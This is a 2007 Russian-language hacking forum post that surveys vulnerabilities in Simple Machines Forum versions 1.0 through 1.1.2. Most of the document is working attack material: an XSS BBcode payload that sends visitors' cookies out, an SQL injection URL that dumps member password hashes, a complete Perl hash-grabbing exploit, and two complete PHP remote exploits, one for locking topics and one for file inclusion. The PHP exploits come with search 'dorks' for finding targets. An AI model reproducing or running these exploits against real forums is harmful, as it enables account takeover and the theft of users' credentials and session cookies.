Форум АНТИЧАТ - [Обзор уязвимостей Simple Machines Forum]

[Обзор уязвимостей Simple Machines Forum]

12.08.2007, 04:38

FeraS

Постоянный

Регистрация: 20.01.2007

Сообщений: 705

Провел на форуме:
5381835

Репутация: 1329

Отправить сообщение для FeraS с помощью ICQ

[Обзор уязвимостей Simple Machines Forum]

[SMF 1.0 Beta 5 Public]
XSS
Удаленный пользователь может выполнить XSS нападение. SMF не фильтрует данные, представленные пользователем в тэге '[size]'.

Пример:

Код:

size=expression(eval(unescape(document.URL. substring(document.URL.length-41,document.URL. length))))]Big Exploit[/size]

[SMF 1.0.4]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре 'msg'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.

Пример:

Код:

http://[target]/index.php?action=post;msg= 1%20UNION%20SELECT%20memberName, 0,passwd,0,0%20FROM%20smf_members %20WHERE%201/*;topic=8.0; sesc=[VALIDSESCIDHERE]

Эксплоит:

PHP код:


		
			
#!/usr/bin/perl -w

################################################################################

# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #

################################################################################

# Simple proof of concept for the modify post SQL Injection issue I discovered #

# in Simple Machine Forums. Supply this script with your username password and #

# the complete url to a post you made, and have permission to edit. 06/19/2005 #

################################################################################



use LWP::UserAgent;



if ( !$ARGV[3] ) 

{

    print "Usage: smf.pl user pass target_uid modify_url\n";

    exit;

}



print "###################################################\n";

print "# Simple Machine Forums Modify Post SQL Injection #\n";

print "###################################################\n";



my $user = $ARGV[0]; # your username

my $pass = $ARGV[1]; # your password

my $grab = $ARGV[2]; # the id of the target account

my $post = $ARGV[3]; # the entire url to modify a post you made

my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';

   $post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;

my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");



my $ua = new LWP::UserAgent;

   $ua->agent("SMF Hash Grabber v1.0" . $ua->agent);



$ua->cookie_jar({});



print "[*] Trying $path ...\n";



my $req = new HTTP::Request POST => $path . "/index.php?action=login2";

   $req->content_type('application/x-www-form-urlencoded');

   $req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');

my $res = $ua->request($req); 



print "[*] Logging In ...\n";



# When a correct login is made, a redirect is issued, and no 

# text/html is sent to the browser really. We put 1024 to be

# safe. This part can be altered in case of modded installs!

if ( length($res->content) < 1024 )

{

    print "[+] Successfully logged in as $user \n";

    my $sid = $ua->get($path . '/index.php?action=profile;sa=account');    



    # We get our current session id to be used

    print "[*] Trying To Get Valid Sesc ID \n";

    if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )

    {

        # Replace the old session parameter with the

        # new one so we do not get an access denied!

        my $sesc = $1;

           $post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;



        print "[+] Valid Sesc Id : $sesc\n";

        print "[*] Trying to get password hash ...\n";



        my $pwn = $ua->get($post);    

        if ( $pwn->content =~ />([a-z0-9]{32})<\//i )

        {

            print "[+] Got the password hash!\n";

            print "[+] Password Hash : $1\n";

        }

        else

        {

            print "[!] Exploit Failed! Try manually verifying the vulnerability \n";

        }

    }

    else

    {

        print '[!] Unable to obtain a valid sesc key!!';

        exit;

    }

}

else

{

    print '[!] There seemed to be a problem logging you in!';

    exit;

}

[SMF 1.0.5]
XSS
XSS уязвимость через BB коды.

Пример:

Код:

[size=0pt][sub][^color=#e1e1e1]g[img]http://re [flash=200,200]http://w onerror=img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+document.cookie;this.style.display='none' and end[/flash][/img][/color][/sub][/size]

[SMF 1.0.6]
XSS
Уязвимость существует из-за недостаточной обработки входных данных в поле "X-Forwarded-For" HTTP заголовка. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта при просмотре злонамеренных данных с помощью "View all members".

[SMF 1.1 RC2]
Lock Topics Remote Exploit:

PHP код:


		
			
#!/usr/bin/php -q -d short_open_tag=on

<?

print_r('

--------------------------------------------------------------------------------

Simple Machines Forum <= 1.1.RC2 "lock"/Zend_Hash_Del_Key_Or_Index Vulnerability

by rgod rgod@autistici.org

site: http://retrogod.altervista.org

dork, version specific: "Powered by SMF"

--------------------------------------------------------------------------------

');



if ($argc<6) {

print_r('

--------------------------------------------------------------------------------

Usage: php ".$argv[0]." host path user pass topic OPTIONS

host:       target server (ip/hostname)

path:       path to SMF

user/pass:  u need a valid user account

lock:       topic u want to lock

Options:

   -p[port]:    specify a port other than 80

   -P[ip:port]: specify a proxy

Examples:

php ".$argv[0]." localhost /smf/ user pass 4

php ".$argv[0]." localhost /smf/ user pass 3 -p81

php ".$argv[0]." localhost / user pass 7 -P1.1.1.1:80

--------------------------------------------------------------------------------

');

die;

}



error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);



function quick_dump($string)

{

  $result='';$exa='';$cont=0;

  for ($i=0; $i<=strlen($string)-1; $i++)

  {

   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

   {$result.="  .";}

   else

   {$result.="  ".$string[$i];}

   if (strlen(dechex(ord($string[$i])))==2)

   {$exa.=" ".dechex(ord($string[$i]));}

   else

   {$exa.=" 0".dechex(ord($string[$i]));}

   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

  }

 return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

  global $proxy, $host, $port, $html, $proxy_regex;

  if ($proxy=='') {

    $ock=fsockopen(gethostbyname($host),$port);

    if (!$ock) {

      echo 'No response from '.$host.':'.$port; die;

    }

  }

  else {

    $c = preg_match($proxy_regex,$proxy);

    if (!$c) {

      echo 'Not a valid proxy...';die;

    }

    $parts=explode(':',$proxy);

    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

    $ock=fsockopen($parts[0],$parts[1]);

    if (!$ock) {

      echo 'No response from proxy...';die;

    }

  }

  fputs($ock,$packet);

  if ($proxy=='') {

    $html='';

    while (!feof($ock)) {

      $html.=fgets($ock);

    }

  }

  else {

    $html='';

    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

      $html.=fread($ock,1);

    }

  }

  fclose($ock);

  #debug

  #echo "\r\n".$html;

}

function my_encode($my_string)

{

  $encoded="";

  for ($k=0; $k<=strlen($my_string)-1; $k++)

  {

    $encoded.="chr(".ord($my_string[$k]);

    if ($k==strlen($my_string)-1) {$encoded.=")";}

    else {$encoded.=").";}

  }

  return $encoded;

}



function make_seed()

{

   list($usec, $sec) = explode(' ', microtime());

   return (float) $sec + ((float) $usec * 100000);

}



$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$topic=(int)$argv[5];

$port=80;

$proxy="";



for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

  $port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

  $proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}



$data="user=".urlencode($user);

$data.="&passwrd=".urlencode($pass);

$data.="&cookielength=-1";

$data.="&hash_passwrd=";

$data.="&submit=Login";

$packet ="POST ".$p."index.php?action=login2 HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Accept-Language: en\r\n";

$packet.="Accept-Encoding: text/plain\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Cache-Control: no-cache\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

echo "cookie -> ".$cookie."\r\n";

$temp=explode("PHPSESSID=",$cookie);

$temp2=explode(";",$temp[1]);

$sessid=$temp2[0];

echo "sessid -> ".$sessid."\r\n";

$temp=explode(";member=",$html);

$temp2=explode("\n",$temp[1]);

$uid=(int)$temp2[0];

echo "user id -> ".$uid."\r\n";



$packet="GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

$temp=explode('name="sc" value="',$html);

$temp2=explode("\"",$temp[1]);

$sc=$temp2[0];

echo "sc code -> ".$sc."\r\n";

$temp=explode('"num_replies" value="',$html);

$temp2=explode("\"",$temp[1]);

$replies=$temp2[0];

echo "num replies -> ".$replies."\r\n";



$hash_1="173250926";

$hash_2="266332046";



$data='-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="topic"



'.$topic.'

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="subject"



I totally disagree, locked.

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="icon"



xx

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="message"



I totally disagree, locked.

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="notify"



0

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="lock"



1

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="'.$hash_1.'"



1

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="'.$hash_2.'"



1

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="sticky"



0

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="move"



0

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="attachment[]"; filename=""

Content-Type: application/octet-stream





-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="post"



Post

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="num_replies"



'.$replies.'

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="additional_options"



1

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="sc"



'.$sc.'

-----------------------------7d61bcd1f033e

Content-Disposition: form-data; name="seqnum"



0

-----------------------------7d61bcd1f033e--

';



$packet="POST ".$p."index.php?action=post2;start=3;board=".$board." HTTP/1.0\r\n";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";

$packet.="Referer: http://".$host.$path."index.php?action=post;topic=1.0;num_replies=0\r\n";

$packet.="Accept-Language: it\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";

$packet.="Accept-Encoding: gzip, deflate\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cache-Control: no-cache\r\n";

$packet.="Cookie: ".$cookie."\r\n\r\n";

$packet.=$data;

sendpacketii($packet);



$packet= "GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if  (strstr($html,"This topic is locked")) {echo "Exploit succeeded...";}

else {echo "Exploit failed...";}

?>

(lngfile) Remote Exploit:

PHP код:


		
			
#!/usr/bin/php -q -d short_open_tag=on

<?

print_r('

--------------------------------------------------------------------------------

Simple Machines Forum <= 1.1 rc2 "lngfile" Zend_Hash_Del_Key_Or_Index/arbitrary

local inclusion exploit (Win boxes)

by rgod rgod@autistici.org

site: http://retrogod.altervista.org

dork: "Powered by SMF"

--------------------------------------------------------------------------------

');

/*

works against Win boxes

regardless of php.ini settings

against PHP < 4.3.3, PHP 5 < 5.1.4

*/



if ($argc<5) {

print_r('

--------------------------------------------------------------------------------

Usage: php '.$argv[0].' host path mail include OPTIONS

host:      target server (ip/hostname)

path:      path to SMF

mail:      your email, required for activation

include:   path to file you want to include

Options:

   -p[port]:    specify a port other than 80

   -P[ip:port]: specify a proxy

Examples:

php '.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini

php '.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini -p81

php '.$argv[0].' localhost / youremail@hotmail.com ../../../../../boot.ini -P1.1.1.1:80

--------------------------------------------------------------------------------

');

die;

}



error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);



function quick_dump($string)

{

  $result='';$exa='';$cont=0;

  for ($i=0; $i<=strlen($string)-1; $i++)

  {

   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

   {$result.="  .";}

   else

   {$result.="  ".$string[$i];}

   if (strlen(dechex(ord($string[$i])))==2)

   {$exa.=" ".dechex(ord($string[$i]));}

   else

   {$exa.=" 0".dechex(ord($string[$i]));}

   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

  }

 return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

  global $proxy, $host, $port, $html, $proxy_regex;

  if ($proxy=='') {

    $ock=fsockopen(gethostbyname($host),$port);

    if (!$ock) {

      echo 'No response from '.$host.':'.$port; die;

    }

  }

  else {

    $c = preg_match($proxy_regex,$proxy);

    if (!$c) {

      echo 'Not a valid proxy...';die;

    }

    $parts=explode(':',$proxy);

    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

    $ock=fsockopen($parts[0],$parts[1]);

    if (!$ock) {

      echo 'No response from proxy...';die;

    }

  }

  fputs($ock,$packet);

  if ($proxy=='') {

    $html='';

    while (!feof($ock)) {

      $html.=fgets($ock);

    }

  }

  else {

    $html='';

    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

      $html.=fread($ock,1);

    }

  }

  fclose($ock);

  #debug

  #echo "\r\n".$html;

}



function make_seed()

{

   list($usec, $sec) = explode(' ', microtime());

   return (float) $sec + ((float) $usec * 100000);

}



$host=$argv[1];

$path=$argv[2];

$email=$argv[3];

$include=$argv[4];

$port=80;

$proxy="";



for ($i=3; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

  $port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

  $proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}



srand(make_seed());

$anumber = rand(1,9999999);

$user="sun-tzu".$anumber;

$pass="sun-tzu".$anumber;

$packet ="GET ".$p."index.php?action=register HTTP/1.0\r\n";

$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

 $temp2=explode(" ",$temp[$i]);

 $cookie.=" ".$temp2[0];

}

$temp=explode("PHPSESSID=",$cookie);

$temp2=explode(";",$temp[1]);

$sessid=$temp2[0];



$data="user=".$user;

$data.="&email=".$email;

$data.="&hideEmail=1";

$data.="&passwrd1=".$pass;

$data.="&passwrd2=".$pass;

$data.="&regagree=on";

$data.="&lngfile=%2f".$include."%00";

$data.="&1412642694=1";

$data.="&850639942=1";

$data.="&regSubmit=Register";

$packet ="POST ".$p."index.php?action=register2 HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Accept-Language: en\r\n";

$packet.="Accept-Encoding: gzip, deflate\r\n";

$packet.="Referer: http://".$host.$path."index.php?PHPSESSID=$sessid\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Cache-Control: no-cache\r\n";

$packet.="Cookie: $cookie\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

print_r("

now login with user: ".$user." pass: ".$pass." and you will see

".basename($include)." file at screen...

");

?>

[SMF 1.1 RC3]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "cur_cat" в сценарии Sources/ManageBoards.php во время добавления нового форума. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

[SMF 1.1.2]
XSS
Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему.

1. Уязвимость существует из-за недостаточной обработки входных данных во время создания или редактирования сообщения форума. Удаленный пользователь может внедрить в сообщение произвольный PHP сценарий и выполнить его на системе с привилегиями Web сервера.
2. Уязвимость существует из-за недостаточного механизма выбора случайных файлов в механизме звуковой CAPTCHA. Удаленный пользователь может произвести брут-форс атаку.